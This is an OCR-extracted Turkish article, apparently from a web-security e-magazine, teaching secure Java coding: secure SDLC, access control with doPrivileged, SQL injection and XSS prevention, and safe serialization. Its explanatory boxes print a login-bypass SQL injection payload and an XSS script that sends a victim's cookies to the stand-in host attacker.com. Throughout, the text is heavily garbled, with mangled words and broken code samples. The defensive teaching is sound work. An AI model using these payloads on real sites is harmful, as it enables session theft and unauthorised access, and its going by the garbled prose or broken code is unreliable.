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1. Giris

,GUvenlik bir Griin dgil, bir sirectir cimlesi glvenlik uzmanlarinin ¢ctdkrarladiklar bir s6zdur. Buna
dayanarak ,X Uriinin0 satin aldim ve guvenli oldyaklasimi yerine glvenlik politikalari olturma, bu
politikalari uygulamaya gecirme ve bunun sonuglatiizenli olarak takip etme dahagio bir
yaklasimdir. Yazilim geltirme de bir surectir ve planlama, analiz, tasakatlama, test ve kurulum gibi
adimlari icerir. Yazihm geitirme sirecinin sonundaimdi bu yazilimi glivenli hale getirelim* yalgani
givenlii bir Grin olarak gormeklesdegerdir ve yanigtir. Glvenlik sirecinin, yazihm getirme sirecine
entegre edilmesi gerekmektedir. Bu entegrasylemi sonucunda Givenli Yazilim Gglime (GYG,
secure SDLC- secure software development life ¢yileecleri ortaya ¢ikmaktadir. Yapilan gnamalar
GYG sureclerinin mali agidan da bir gereksinim @lglou ortaya koymaktadirlar. Zira yazilimda sonradan
ortaya cikan aciklara yama ggilimek, bu aciklari daha yazilim ggiime sirecinde fark edip 6nlemeye
nazaran ¢ok daha fazla mali yilk getirmektedir. lilsg®nradan ortaya ¢ikacak olan bu giivenlik agikla
sirket imajinin zedelenmesi, hukuki agidan sorumaaddi kayiplargirketin borsa hisse gerinin

dismesi ve hattairketin is hayatinin son bulmasi gibi sonuclar dahiwabilirler.

GYG surecleri sayesinde tehdit modelleme, riskiahalazilimcilar igin glvenlik gitimleri ve
dokimanlari, mimari analiz, kod analizi, sizmales{penetration tedtgibi glvenlik i¢in vazgecilmez
gereksinimler bir btin olarak yazilim sirecinesgng edilirler. Bu sebeple, bir yazilim projesine
baslamadan 6nce projenin yapisina ve eldeki kaynaklggan bir GYG stireci belirlenmeli ve bu silirecin
gerektirdgi guivenlik aktiviteleri uygulamaya gecirilmelidiGinimizde SAMM, BSIMM2 ve Microsoft
SDL gibi calsmalar GYG siirecleri adina 6n plana ¢ikmaktadifeellikle bir OWASP projesi olan
SAMM (Software Assurance Maturity Modlelcik bir framework olarak organizasyonlarin yapra ve
guvenlik ihtiyaclarina gére uyarlanabilen drnekroindel ortaya koymaktadir. SAMM ile var olan yamnih
sirecinizin guvenlik agisindan hangi konumda glohw belirleyebilir ve daha glvenli bir yazilim igin
gelecekte neler yapmaniz gerghtin yol haritasini ¢ikarabilirsiniz. SAMM bu amadaslak dokiimanlar
ve araclar da sunmaktadir. SAMM hakkinda daha Hdidgi icin E-dergi'deki yazima bakmanizi tavsiye
ederim:http://dergi.webguvenligi.org/websec/57-samm-ilesgnli-yazilim-gelistirme.wgt

Yazilim tasarimcilarinin ve ggiricilerinin giivenli yazihm gelitirme tzerine bilgi diizeyleri sonucta
ortaya cikacak trinan guvegihi dogrudan etkileyecektir. Yazilimcilarin kod ggiiirken uygulama
guvenlgini tehdit eden sorunlari bilmeleri ve bu tehdiélésag hangi ¢coztmleri uygulamalar geredti
konusunda bilgi sahibi olmalari gerekmektedir. Bdikkate alan GYG stiregleri, yazilimcilarin gtvenli
yazilim gelgtirme konusundaki bilgilerini artirmayi ve bu sageghzilimda ortaya c¢ikacak guvenlik
aciklarin en aza indirmeyi hedeflerler. Bu amagailymcilarin projelerde giveli kod gglrme
konusunda baucu rehberi olarak kullanacaklari ve en temel giivedlama metotlarinigecure coding
guideline$ anlatan dokiimanlara ihtiyaclari vardir.

Ben de bu yazimda Java uygulamalarigtiethe sirecinde yazilimcilarin fieca dikkat etmeleri gereken
guvenli yazilim gelitirme metotlarini anlatagan. Bu yazi kapsaminda bitin teknik detaylari agnidm
mamkin olmadiindan daha detayli teknik bilgi icin [3], [4] ve][G&feranslarina da g6z atmanizi tavsiye
ederim.

2. Gilvenli Yazilim Gelistirme Metotlari

Java’nin mimari tasariminda glvelilesteklemek adina bircok dnlemler (tip korumatomatik bellek
ybnetimi, dizi sinir kontrolt, bayt kod denetimmZali appletler gibi) dikkate alingtir. Ancak
yazilimcilarin da gedtirme sireci esnasinda dikkat etmeleri gerekenltaoidalar vardir. Bu noktalar
baslica Tasarim, Gizlilik ve Mahremiyet, kiin Kontroll, Girdi Denetimi ve Serigirme baliklari
altinda aagida acikladim:



2.1.Tasarim

Saldirgani hesaba katin Tasarim ve kodlama esnasinda kendinizi saldiygaine koyun.
Sisteminizin sadece nasil gahasi gerekfi Uzerine dgil ayrica nasil cajmamasi gerekgi
izerine de dgiiniin. Orngin kullanici tarafindan integer olarak girilmeskkenen bir girdinin
integer olarak girilmeme ihtimalini ve bu durumdstasminizin nasil davranmasi geréiitii de
tasarlayin.

Gereksiz kod yazmayin Java’'nin kalitim 6zelinden yararlanin ve tekrarlanan gereksiz kod
yazmamaya ¢alin.

Erisim kisittamasini dggru uygulayin: public, protected, private, static, finehvramlarini iyi
anlayin ve bunlari sinif, araytiz , metot vgigieen tanimlamalarinda gerektiden fazla izin
vermeyecekekilde kullanin. Sabit dgrlerinizi (constan} public static finalolarak tanimlayin ve
bu sayede distiriimelerine engel olun. Alt sinifi olmayan siafl ve baka bir alt sinifta tekrar
tanimlanmayacak olan metotlafinal olarak tanimlanmasina dikkat edin.

Ust ve alt sinif arasindaki ilgkiye dikkat edin: Ust sinifta yapginiz bir desisikli gin alt
siniflarda bir giivenlik sorununa yol acip acngaal kontrol edin. Orngin JDK 1.2'de buna ki
bir sorun olymustu. java.security.Providesinifijava.util. Hashtable'n iki alt sinifidir ve Java
gluvenlik APT'leri icin “algoritma ismi-algoritmaygerceklgtiren sinif” ¢iftini bir hash tablosunda
saklamaya yarar. Provider sinifi Hashtable'inygutemove metotlarinin tekrar gercekierek
bu metotlarin ggrilmasi durumunda eiim kontroll uygular ve izinsiz olarak algoritmalar
tablodan silinmesini engeller. Ancak JDK 1.2'de ktable’a tablodan girdilerin silinmesine
olanak sglayan entrySet metodu eklendi. Buzdgklik Provider alt sinifi i¢in dikkate alinmadi ve
saldirganlara Provider'in put ve remove metotlaakidyiivenlik kontrollerini es gecip direk
entrySet metodu ile kayitli algoritmalari silme iank verildi.

Degistirilemez (immutablg siniflar tasarlayin: Siniflarinizi dgistirilemez olarak tasarlamaya
gayret edin. Orngn String deistirilemez bir siniftir ve String olarak tanimli lalesiskenin
iceriginin direk deistiriimesi mimkin dgildir. Yapilan her dgisiklik bu degiskenin yeni bir
kopyasinin olgturulmasiyla sonuclaniBayet dgistirilemez tasarlamak mimkin glise,
sinifinizin dgiskenligini mimkin oldgunca kisitlayin. Ayrica dggstirilebilen (mutablg
sinifinizin guvenli bigekilde kopyasini almayi gkayan bir metodu da kullanima sunun.

Cok kanalli (multi-threaded programlarda senkronizasyona dikkat edin:Yaziliminiz ¢ok
kanalli calsacaksekilde tasarlandi ise senkronizasyon konseptigidtasarladiinizdan emin
olun. Aksi takdirde paralel ¢cgan kanallarin ayni anda bir veriyesar sglayarak o veriyi
degistirmeye calgmalari istenmeyen sonuclargoacaktir.

2.2. Gizlilik ve Mahremiyet

Kritik verilerle yapti giniz islemlere dikkat edin: Gizli ve mahremiyeti ilgilendiren kritik veriler
ile islem yaparken dikkatli olun. Orga parola ve kimlik numarasi gibi kritik bilgilelbg
dosyalarina yazmayin. Kendi kodunuzda buna engahat bile sisteminize entegre gtiiz bir
katiphanenin de bunu yapmagohdan emin olun.

Aykiri durumlarin ( exception$ bir sistem hakkinda gizli bilgiler vermesine engeolun:
Saldirganlar bir sistem hakkinda bilgi almak iceriglondirilen hatalardan faydalanirlar.
Ornesin geri donen bir SQL sorgu hatasi, ilgili tabloweritabani hakkinda kritik bilgiler
icerebilir. Yine ayngekilde “File Not Found” aykiri durumu dikkat edilmése ilgili dosyanin
yolunu geri dondirerek saldirgana dosya sistentinala bilgi verebilir.

Parola vesifreleme anahtari gibi kritik bilgileri String olar ak tanimlamayin: String
degistirilemez bir siniftir ve String olarak tanimlgchiz veriyi silseniz bile daha sonrasinda
bellekte izlerini bulma riski vardir. Bunun yerikarakter ya da bayt dizisini tercih edin. Buna ek
olarak kritik veri ile giniz bittiginde kritik veriyi hafizadan sileprivate olarak tanimli bir metodu
olusturun ve kullanin.

Kriptografi metotlarini ne yapti ginizi bilerek kullanin: Kriptografi metotlarini kullanirken her
adimda ne yagtinizi iyi bilmeniz ¢ok 6nemlidir. En ufak bir hasésteminizin tamamen glvensiz

4



hale gelmesine neden olabilir. 2008 yilinda Deldaryganan bir olay bu durumun ciddiyetini
goOstermektedir. Debian ggliricilerinden birisi, Debian’in openssl| paketledi kullanilan bir
metodun bir satirini gereksiz diye devrg thirakir. Bu satir ogturulan anahtarin rastgelgti
sgglamaktadir ve bu devreglibirakma sonucu tahmin edilebilen zayif SSL anddnta
olusturulmaktadir. Bu sorun ortaya ¢ikinca butin diaga@®ebian sistem yoneticilerinin,
sunucularindaki SSH, OpenVPN ve DNSSEC gibi bir gggulama anahtarlarinin rastgededi
kontrol etmeleri ve gerekirse bu anahtarlari tektegturmalari gerekti. Gorlldiii Gzere bir satir
kodun sonucu ¢ok sorunlu olabilmektedir. Kriptogkainusunda referans kodlardan destek almak
isinizi hem kolaylatiracak hem de daha glivenli hale getirecektir. OWASESAPI Glivenlik
APTr'leri ve referans kodlari bu konuda olduk¢adoa bir kiitiphane sunmaktadirlar. Bu
APr'lerin kullanimi hakkinda daha fazla detayligbidlmak icin [2] referansindaki blog serisini
okumanizi tavsiye ederim.

2.3.Erisim Kontroli

Erisim kontrolU konseptini iyi 6 grenin: Erisim kontrolU sayesinde ilgili yurtilen kodun neyi
yapip neyi yapamayagmi kontrol edebilirsiniz. Orngn bir dosyayl okuma/yazma hakki var mi,
sistemin hangi 6zellikproperty) desiskenlerini okuma/yazma hakki var, programi sonlandir
hakki var mi ya dag@lizerinden hangi bilgisayara gn hakki var gibi kontrollerin yapilmasi
mumkin olmaktadir. Egim kontroll konseptini anlamak ictBecurityManager,
AccessController, AccessControlContext, Policy nission ve ProtectionDomamniflarini ve
aralarindaki ilgkileri iyi anlamak gerekmektedir. Bunun icin datetayl bilgiyi [5] referansindan
alabilirsiniz.

Izin tamimlamasinda “en diyiik erisim hakki” prensibini uygulayin: Bir uygulamaya ihtiyacgtan
fazla ergim hakki vermeyin. Uygulamanizda bir givenlik@@lsa bile gerekli egim izni yoksa
ortaya cikacak hasar bu sayede en aza indirilecekti

Gerektiginde SecurityManager'l aktif hale getirin: SecurityManager &jfim kontroltiiniin
merkezindeki gedir. Ancak uygulamalarin standart olarak Securaplger’i aktif dgildir. Sayet
uygulamaniz giivensiz kodlar icerecekse (plug-igien ve bu sebeple giim kontrolli yapmaniz
gerekiyorsa SecurityManager’i aktif hale getirnvaigerekli egim izinlerini politika (policy)
dosyalarinda tanimlamaniz gerekmektedir. Securitigarii aktifletirmek icin Java'yr
Djava.security.managere -Djava.security.policy=politika_dosyasecenekleri ile birlikte
baslatmalisiniz.

doPrivileged metodunu gtivenli birsekilde kullanin: SecurityManager, denetlemesi gereken
izin kontrollerini AccessController aradlile gerceklgtirir. AccessController, politika
dosyalarina b#i olarak er§im haklarini denetler. AccessController ayrdegerivilegedmetodu
ile normalde izin hakki olmayan uygulamalarin kritlemleri gecici sure ile gerceklirmelerini
saslar. Orngin ana uygulamanizda plug-igi{venilir olmayan kopdestgi verdiniz.
Uygulamaniza eklenebilen bu plug-in’lerin normasigtem 6zelliklerini okuma haklari yoktur.
Ancak uygulamanizda plug-in’lere bu hakki vermeh itgili kritik i slemi (bu durumda
System.getProperty metodu) AccessController.ddBged bl@u icinde gercekigirerek gecici
izin vermis olursunuz. Bu 6zelli kullanirken doPrivileged bloklarini giivenilmeyerisimlere
karsi korumak gerekir. Aksi takdirde doPrivileged sagds saldirganlarin kritik kaynaklara
erisim sglamasi olasidir.

Su drnek sorunu daha iyi aciklayacaktir. Bir dogyiade saklanan parolay glgtirmeye yarayan
bir sinifiniz ve bu sinifin icindgarolaDegistirve parolaDosyasiAanetotlari bulunsun.
parolaDegistir ana metot olup parola dosyasingnel icin parolaDosyasiAc metodunu
cagirmaktadir. Parola ggstirme igslemi icin doPrivileged blgunuparolaDosyasiAenetodunda
tanimlamak ve bu sayede kritik bir kaynak olan [madwsyasina &iim imkani sglamakgtvensiz
bir kodlama tekrdidir. Kod 1'de bu giivensiz kod gosterilmektedir.riBm aksine
parolaDosyasiAanetodunu private tanimlayarak bunaieti sadeceparolaDegistirmetodu
Uzerinden izin vermek ve doPrivilegagiricalikli iznini dosyaya egim i¢in bu metotta kullanmak
daha glvenilir bir yoldur. Kod 2'te daha glvenkolbu kod da gdsterilmektedir.
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public static void parolaDegistir(final String paro la_dosyasi) {
FileInputStream fin;
fin = parolaDosyasiAc(parola_dosyasi);
/I Parola de gi stirmei slemini gercekle stir
}
public static FilelnputStream parolaDosyasiAc(Strin g parola_dosyasi) {
final FilelnputStream f = null;
/I parola dosyasini agmak icin kendi iznini kul lan
AccessController.doPrivileged(new PrivilegedAction( ) {
public Object run() {
f = new FilelnputStream(parola_dosyasi); }
return null;
}
D
return f; //kritik dosyaya referans sa gliyor  (uygun olmayan
kullanim)
}

Kod 1 (Guvensiz kod)

public static void parolaDegistir () {
/I parola dosyasini agmak icin kendi iznini kul lan
final String parola_dosyasi = "password";
final FilelnputStream f = null;

AccessController.doPrivileged(new PrivilegedAction( ) {
public Object run() {
try {
f = parolaDosyasiAc(parola_dosyasi); // a yricalikli metodu
cagir
return null;
}
D
/I Parola de gi stirmei slemini gercekle stir
}
private static FilelnputStream parolaDosyasiAc(Stri ng parola_dosyasi)
{
FileInputStream f = new FilelnputStream(parola__ dosyasi);
return f;
}

Kod 2 (Guvenli kod)

Native metotlarin guivenligi icin sarmalama (vrappei) metotlardan yararlanin: Javanative
metotlar yoluyla C/C++ gibi Javagindaki kiitiphanelerden de yararlanmaya olanglasa
Ancak native metotlar, Java’'nin gaiha zamanir(ntime esnasinda geadig1 bir takim glvenlik
kontrollerinden (tip kontroli, dizi sinir kontrol@ecurityManager kontrolleri gibi) mahrum
kalirlar. Bu kontrolleri sarmalama metotlari kultaiak kendiniz sglamalisiniz. Bunun igin ilgili
native metotprivate olaraktanimlanmall ve bu metodugaan ikinci bir public metot sarmalayici
metot olarak bulunmalidir. Sarmalayici metot, rativetodu garmadan 6nce ilgili kontrolleri
kendi gerceklgtirmelidir.

Kritik siniflarda eri sim denetimini aktiflestirin: Guvenlik acisindan kritik siniflar gerekli
onlemleri almazlar ise kendilerini kullanan givarlmayan kodlar tarafindan
SecurityManager'in atlatiimasina olanaklsgabilirler. Orngin ClassLoader'| geglieten bir alt
sinif giivenlik kontrollerini gececedekilde kodlanabilir. Bu tip glivenilir olmayan kodéaengel
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olmak icin ilgili glivenlik kritik sinifin public veorotected yapilandiricilarindeanstructoy
kendisini genjletmeye cakan alt sinifin buna yetkisinin olup olmgdSecurityManager vasitasi
ile denetlenmelidir.

Kismen olusturulmu s nesnelere esimi engelleyin: final olarak tanimlanmanibir sinifin
yapilandiricisinda bir aykiri durum meydana gelfisaezin bir ersim kontrol aykiri durumu)
bu sinif kismen oldurulmus olur ve normalde bu nesneyeseriin olmamasi beklenir. Ancak
saldirganlarin bu yari gdturulmus nesneye eginek isteyebilirler. Bu sorunu ¢dézmek icin ek
kontrollere ihtiyac vardir. Orign initialized degiskeni ile bu kontrol gercekidirilebilir. Bu
degisken yapilandiricinin en sonunda true atanaraiwima esnasinda bir hata olup olngadi
tespit edilir ve dier metotlarin bgangicinda bu dgskenin true olup olmag kontrol edilerek
sayet true olmasi durumunda metodunggafisina izin verilir. Béyle bir ek kontrol kullaniidod
3'te gosterilmgtir.

public abstract class ClassLoader {

/I initialized kontrolu
private volatile boolean initialized;

protected ClassLoader() {
/I ClassLoader olu sturmak igin izin kontrolt
securityManagerCheck();
init();

/I yapilandirma ba sarlyla tamamlandi
initialized = true;
}

protected final Class defineClass(...) {
if (linitialized) {
throw new SecurityException("nesne tam olara kolu sturulamad");

}
/I normal i sleme devam
}
}
Kod 3

Guvenilir olmayan kodlarin kritik metotlarini kulla nmayin: Guvenilir olmayan kodlar,
guvenli kodlarin sahip oldw izinlerden yararlanarak SecurityManager kontrliees ge¢cmeyi
hedefleyebilirler. Bu sebeple guvenilir olmayan lewah Liste 1'de verilen ve SecurityManager
kontrollerini es ge¢me riski bulunan metotlarinveiiilir kodlarda caktirmayin. Aynisekilde
guvenli kodlarin olgturdusu Class, ClassLoader gibi kritik siniflarin refestamni glivensiz
kodlarin er§imine sunmayin.



java.lang.Class.newlnstance
java.lang.Class.getClassLoader
java.lang.Class.getClasses
java.lang.Class.getField(s)
java.lang.Class.getMethod(s)
java.lang.Class.getConstructor(s)
java.lang.Class.getDeclaredClasses
java.lang.Class.getDeclaredField(s)
java.lang.Class.getDeclaredMethod(s)
java.lang.Class.getDeclaredConstructor(s)
java.lang.ClassLoader.getParent
java.lang.ClassLoader.getSystemClassLoader
java.lang.Thread.getContextClassLoader

Liste 1

Glvenilir olmayan kodlarin kritik metotlara eri simine engel olun:Liste 2'de listelenen
metotlar o anki aktif garicinin fmmediate calleérsinif ylkleyicisi vasitasiylglievlerini
gerceklatirirler. Ancak bu metotlar herhangi bir Securityheaer kontrolli uygulamadiklari icin
givenilir olmayan kodlar tarafindan kéti amaclildmilmaya agiktirlar. Boyle bir kotl kullanim
Kod 4'te goriilmektedir. Bu sebeple bu metotlaringgisiz kodlarin egimine kagi korunmasi
gerekmektedir. Orrign Kod 4'teki giivensiz kodun sistem kiitiiphanesingiraine engel olmak
icin native yukleme metodunyublic yerineprivate olarak tanimlanmasi gerekmektedir. Tam
olarak tanimlamadyle olmalidir:private final native void loadLib()

java.lang.Class.forName
java.lang.Package.getPackage(s)
java.lang.Runtime.load
java.lang.Runtime.loadLibrary
java.lang.System.load
java.lang.System.loadLibrary
java.sql.DriverManager.getConnection
java.sql.DriverManager.getDriver(s)
java.sql.DriverManager.deregisterDriver
java.util.ResourceBundle.getBundle

Liste 2

2.4.Girdi Denetimi

/I Guvenilir Kod
class NativeCode {
public native void loadLib();

static {
try {

System.loadLibrary("/com/foo/MyLib.s0");
}catch(UnsatisfiedLinkError ) {
}
}

}

/I Glvenilir olmayan Kod
class Untrusted {
public static void untrustedCode() {
new NativeCode().loadLib();
}
}

pi
Kod 4

Kullanici girdisine higcbir zaman glivenmeyin: Girdi denetimi dikkate alinmasi gereken ¢ok
kritik bir konudur. Kullanicidan gelen girdiye higclzaman givenilmemeli ve gelen her girdi
tipine, uzunlguna, icerebilecg karakter kiimesine gore denetlenmelidir.

SQL enjeksiyonu saldirilarina karsi 6nlem alin: Web glivenlii alaninda en ¢ok kaitagilan
tehtitlerden olan SQL enjeksiyon, kullanici girdisi denetlenmemesinden ya da yetersiz
denetlenmesinden kaynaklanmaktadirlar. SQL enjeksiy nasil meydana gegitii anlamak icin
Aciklama 1 kutucguna goz atiniz.



SQL enjeksiyonlarina engel olmaksbea su metotlardan birini uygulayin:

0 java.sql.Statemerile dinamik sorgular okiurmak yerine kullanici girdisi ile program
kodunu birbirinden ayirajava.sql.PreparedStatemekillanin.

0 SQL enjeksiyonlara kargenel olarak glvenli olarstored procedurekullanin.

0 Sayet dinamik sorgularinizi PreparedStatement y@tdaed procedure” ile tanimlamak
mamkin dgilse, o zaman kullanici girdilerini bitlin meta Kaealerden (6rngin tek
tirnak ") arindarmaniz gerekmektedir. Fakat bu gindiger iki yonteme gore daha
karmaik oldugu i¢in daha az tercih edilmelidir. Bglém igin érngin OWASP ESAPI
kitiphanesinin Encoder sinifindan yararlanabilizsin
Encoder.getinstance().encodeForSQL(codec,input)

Yukaridaki ana metotlara ek olarak, SQL enjeksigonia engel olmagu metotlari da
destekleyici olarak uygulayabilirsiniz:
o Saldirlar ne kadar 6nce fark edilirse o kadar iyibiaha SQL sorgulari gfturulmadan
girdi denetimi {nput validation) yaparak saldirilar ortaya ¢ikarilabilir.

Denetim esnasinda girdinin igginie ek olarak tipini, uzungunu ve formatini da
kontrol edin.

Girdi denetiminde ,kara liste” yerine ,beyaz lis{avhite lis) metodunu tercih
ederek ilgili girdinin sadece izin vegniz karakter/kelime kiimesine aigéleri
icerip icermediini denetleyin.

Denetlemeglemi icin kendi metotlarinizi yazmak yerine bilinea isini iyi yapan
kutiphaneleri kullanin. Bu konuda 6gire OWASP ESAPI kitliphanesinin
Validator sinifindan yardim alabilirsiniz:

Validator.getinstance().isValidString("A[a-zA-Z ]*$
input)

SQL enjeksiyon saldirilarina engel olmak igin yagasi gerekenler hakkinda daha detayh bilgi
almak icin OWASP SQL Injection Prevention Cheat&lj8] dokiimanina g6z atmanizi tavsiye

ederim.

XSS (Qoss-Site Scriptiny saldirilarina karsi dnlem alin: Web glvenlii alaninda en ¢ok
karsilagilan tehtitlerden olan XSS, kullanici girdisinirkigikodlamasi (output encoding)
yapiimamasindan ya da hi¢/yetersiz denetlenmemasikalynaklanmaktadir. XSS’in nasil
meydana geldini anlamak icin A¢iklama 2 kutuguna g6z atiniz.

XSS’e engel olmak i¢in dncelikkgl ydontem uygulanmalidir:

o Kullanicilardan gelen ve givenilir olmayan girdildrsari aktaracgniz zaman cikti
kodlamasi gutput encodinguygulayin. Cikti kodlamasi sayesinde kullanicdidgrine
saklanan tehlikeli kodlarin ¢alirlmasina engel olursunuz.

Bu yontemle HTML 6zel karakterleri arayarak bunKiiML entity karakterleri
ile degistirin. Ornezin bu yolla<script> kelimesi&lt;script&gt; olarak
kodlanacaktir.

Cikti kodlama icin kendi metodunuzu yazmak yerinealan hazir
kutuphanelerden yararlanin. Ogie OWASP ESAPI kiitiiphanesinin surggu
Encoder sinifi ile kodlama yapabilirsiniz:
Encoder.getinstance().encodeForHTML (input)

Yukaridaki ana metota ek olarak, XSS saldirilaangel olmak icirsu metotlari da destekleyici
olarak uygulayabilirsiniz:
o Girdi denetimi {nput validatior) uygulayarak kullanici girdilerindeki istenmeyen
karakterler saptanarak XSS saldirilari ortaya deaitir.



» Denetim esnasinda girdinin icgine ek olarak tipini, uzungunu ve formatini da
kontrol edin.

= Girdi denetiminde ,kara liste” yerine ,beyaz lis{avhite lis) metodunu tercih
ederek ilgili girdinin sadece izin veiiniz karakter/kelime kiimesine aigéleri
icerip icermediini denetleyin.

» Denetlemeglemi icin kendi metotlarinizi yazmak yerine bilines kini iyi yapan
katiphaneleri kullanin. Bu konuda 6gie OWASP ESAPI kitliphanesinin
Validator sinifindan yardim alabilirsiniz:

Validator.getinstance().isValidString(""[a-zA-Z |*$
input)

XSS saldirilarina engel olmak icin yapiimasi genddsehakkinda daha detayh bilgi almak i¢in
OWASP XSS Prevention Cheat Sheet [9] dokiimaninagtanizi tavsiye ederim.

2.5.Serilestirme

» Serilestirme (serialization) isleminde ortaya ¢ikabilecek glvenlik sorunlarini géZninde
bulundurun: Serilestirme bellekteki nesnelerin bayt dizisigevrilmesi glemidir ve bu sayede
nesneler dosya sisteminde ya da veritabanindarsdiilaler. Bu lemin tersi olarak bir bayt
dizisi de tekrar bdangictaki nesneye dostiirtlebilir (deserialization. Serilatirme ve ilk
nesneye dondiirme slemleri esnasinda 6zellikle guvenlik acisindanikstniflar icin problemler
ortaya ¢ikabilir.

» Kritik siniflari serile stirmeyin: Bir nesnenin 6zel alanlari normaldesideimezken serilgirme
islemi sonucunda korumasiz bikilde saldirganlarin eline gecebilir. Bu sebeplékksiniflarin
serilestirilmemesitercih edilmeli; bu kaginiimaz ise segtieme islemi ¢cok dikkatli birsekilde
gerceklatiriimeli ve kritik alanlar serilgtirme islemi disinda tutulmalidir. Bunun igisu
yontemler kullanilabilir:

o transientolarak tanimlanan ggskenler serilgtiriimezler.

o Serilsstirilecek sinif icindeserialPersistentFielddizisi tanimlanmy ise sadece bu
dizideki veriler serilgtirilirler.

o0 Serilsstirilecek sinifExternalizablearayliziint kullanarak hangi alanlarin
serilgstirilecegini belirleyebilir.

o writeObjectmetodu icinde ObjectOutputStregratField metodu ile serilgirilecek
alanlar belirlenebilir.

o writeReplacenetodunu iceren serdrilebilir bir sinif bu metot ile neyin
serilsstirilecegini belirler.

» Serilestiriimi s nesneyi tekrar olturma islemi icin dnlem alin: Serilestirme islemini tersi olan
bayt dizisinden ilk nesneyi giturma slemi esnasinda yapilandiricilaggdmadan ilgili nesne
olusturulmaktadir. Bu da guvenlik acisindan kritik solaw dggurabilir. Bu slem esnasinda da
yapilandiricida normalde yapigaigibi ,girdi denetimi” gerceklgtiriimelidir. Ayni sekilde
yapilandiricinin normalde atg@gdvarsayilan dgerler tekrar atanmahdir, ¢ciinkd bleim
olusturulacak nesneyi yapilandiricilarigganadan dgrudan bayt dizisini okuyarak
olusturmaktadir ve saldirganlarin bu bayt dizgederini degistirme riski bulunmaktadir.

» Serilestirme islemlerinin SecurityManager kontrollerini es gegmeleine engel olun:
Saldirganlar bir sinifin icindeki aktif SecurityMager kontrollerini serilgirme ve serilgtirme
isleminin tersini uygulayarak es gegcmeyi hedefleydbil Buna engel olmak icin bu sinifin
yapilandiricilarinda uygulanan guvenlik kontrolieadObjectve readObjectNoData
metotlarinda da aynen tekrarlanmalidir.
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SQL Enjeksiyon

SQL enjeksiyon yontemi saldirganlara istedikleriid@mutlarini veritabani sunucusunda
izinsiz calstirmalarina olanak g#ar. Bu yontemini kullanarak saldirganlar veritatrataki
bilgilere izinsiz egim saglayabilirler, bilgileri degistirebilirler/silebilirler, tablolari/veritabanini
yok edebilirler, §letim sistemi seviyesinde komut gairabilirler, kimlik denetimi kontrolinl es
gecebilirler. Bu drnekleri gaaltmak mumkindur.

Konunun teknik kismini kimlik denetimini es gecandaldiri 6rngi ile anlatalim. Klasik bir
login sayfasinda kullanici adi ve parolasi isteriarka planda ¢gkn bir SQL sorgusu ile
girilen kullanici adi-parola ciftinin disulugu test edilir. Sonuca goére kullaniclya sistemgreri
hakki verilir ya da hata mesaji dénduralir.

Bu kontrol slemi i¢in arka plandasagidaki gibi bir sorgulama ¢ghigini farz edelim:

String sql = "select * from kullanicilar where kull anici="" +
kullanici +" and parola=" + parola + "";

stmt = conn.createStatement();

rs = stmt.executeQuery(sql);

if (rs.next()) {
loggedIn = true;
out.printin("Sisteme ba sarl ile girdiniz!");
}else {
out.printin("Kullanici adiniz ve/veya parola ya nh s");

Yukaridaki 6rnek kodda kullanici tarafindan girikanilanici adi ve parola ile dinamik olarak
SQL sorgusu okturulmaktadir. Burada bir saldirgarsun deserleri girdigini var sayalim.
kullanici adi = admin /parola="'0OR '1'='1

Bu durumda SQL sorgumuya hali alir:

sgl = select * from kullanicilar where kullanici='a dmin' and
parola=" OR ‘1'="1’

Bu dinamik olgturulan sorgudaki ‘1'="1’ kismi her zamarue dondurecgi icin ve de kaul
ifadesiORile bailandg! icin kosulumuz her zamatrue dondurecektir. Bu sayede saldirganlg
dogru parolayi bilmedikleri halde sisteme admin olagakne hakki elde edeceklerdir.

Yukarida verilen 6rnek SQL enjeksiyonunun arifaasi icin verilmg ¢cok basit bir 6érnektir. Bu
konu hakkinda daha detayli teknik bilgi icin [1Besvurabilirsiniz.

Aciklama 1

XSS (Cross-Site-Scripting)

XSS, saldirganlar tarafindan web uygulamalarinigegiverilerin denetlenmemesi ve ¢ikti
kodlamasi ¢utput encodingyapiimadan hedefteki kullanicilarinin web tardgrena iletilmesi
ve bu tarayicilarin zararli kodlari galrmalari sonucu meydana gelir. Bu saldiri yoluyla
kullanicilarin gizli bilgileri ve oturum bilgilergalinabilir, olta saldirilarighishing attacKs
uygulanabilir, web sayfalari ele gegcirilebilir, son/truva ati bukairilabilir. Butin bunlari
hedef kullanicilarin haberi olmadan gercetitenek mimkuindur.
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XSS saldirilarinin teknik olarak nasil yapg analiz edelim. Orrign bir ziyaretci defteri
uygulamamiz olsun. Kullanicilar site hakkinda yoryapiyorlar ve dier kullanicilar sayfayi
zZiyaret ettiklerinde énceden girilnyorumlari gorebiliyorlar. Bu siteyi ziyaret edein b
saldirgan yorum kisminaunu girmi oldugunu farz edelim:

<script>document.location="http://banking.com/searc h?name=<scrip
t>document.write("<img src=http://attacker.com/” +
document.cookie + “>")</script>'</script>

Bu kod parcasi web sunucusu tarafindan veritabd@ydedilecek ve gder bir kullanici
(kurban) yorumlari gérmek isteginde bu zararl kodlar kendisine génderilecektiah@ sonra
bu kodlar kurbanin tarayicisi aragilile calsarak kurbani énce banking.com sayfasina
ybnlendirecek ve sonra kurbanin bu sayfadaki gieitgiterini saldirganin sitesine
(attacker.com) génderecektir. Bu sayede saldirglamgecirdgi oturum bilgilerini kullanarak bu
kullanicinin banking.com’daki hesabina izinsiziemielde edecektir.

Aciklama 2

3. Sonug

Guvenli yazilim gelitirme strecleri (GYG), guvenli bir sistem tasarld&wa de givenli bir Griin ortaya
koyabilmek icin vazgecilmezdir. Bu surecler tehdiddelleme, risk analizi, yazilimcilari bilinclendieye
yonelik glvenlik gitimleri ve dokiimanlari, mimari analiz, kod analz sizma testleri gibi giivenlik icin
vazgecilmez gereksinimleri icermektedir.

Ben bu yazimda GYG'nin bir parcasi olan ve Javalyaeilari i¢in ortak bir giivenlik farkinda
olusturacak glvenli yazim geitirme metotlarinti detayh olarak anlattim. Yazim, Java diline 6zel
olmakla birlikte dger dillerle yazilim gefttirenler icin de yol gdsterici bilgiler icermektedi
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